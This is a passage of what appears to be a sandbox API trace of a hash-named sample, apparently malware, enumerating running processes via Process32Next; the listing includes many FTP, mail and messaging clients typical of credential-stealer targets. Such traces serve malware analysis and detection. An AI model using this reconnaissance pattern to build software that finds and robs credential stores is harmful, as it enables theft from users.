szExeFile="audiodg.exe")) returned 1 [0142.523] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe")) returned 1 [0142.525] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe")) returned 0 [0142.526] CloseHandle (hObject=0x2f8) returned 1 [0142.527] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: hHeap=0x2360000) returned 1 [0142.527] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2361428 [0142.527] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0142.537] Process32First (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.539] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x75, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0142.541] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0142.542] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0142.545] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0142.546] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0142.548] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0142.549] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0142.551] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0142.552] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.553] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.555] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x200, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0142.556] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.557] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.558] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.560] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.562] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.564] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.566] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.567] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0142.569] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0142.570] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x620, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0142.572] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0142.573] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.574] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0142.576] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0142.578] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0142.579] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0142.580] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0142.584] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0142.586] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.587] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0142.588] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0142.589] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0142.590] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0142.592] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0142.593] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.594] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0142.596] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0142.597] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="these.exe")) returned 1 [0142.599] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="note.exe")) returned 1 [0142.600] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="government_memory_natural.exe")) returned 1 [0142.602] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="legal.exe")) returned 1 [0142.603] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="imagine.exe")) returned 1 [0142.605] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="factor affect space.exe")) returned 1 [0142.606] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="pictureto.exe")) returned 1 [0142.609] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="amount_everybody_go.exe")) returned 1 [0142.610] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="easy patient arm.exe")) returned 1 [0142.611] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="part measure.exe")) returned 1 [0142.613] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="well-south.exe")) returned 1 [0142.614] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="why-road.exe")) returned 1 [0142.615] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="participant current.exe")) returned 1 [0142.616] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="plant_country.exe")) returned 1 [0142.618] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup recently but.exe")) returned 1 [0142.619] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="case.exe")) returned 1 [0142.620] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x102c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0142.626] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="keyreflect.exe")) returned 1 [0142.628] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0142.629] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0142.631] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0142.633] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0142.635] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1064, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0142.638] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x106c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0142.640] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0142.642] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x107c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0142.644] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0142.646] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0142.648] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1094, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0142.650] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0142.652] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0142.653] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0142.655] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0142.657] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0142.659] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0142.661] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0142.668] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0142.671] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0142.673] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0142.674] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0142.677] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0142.679] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10fc, 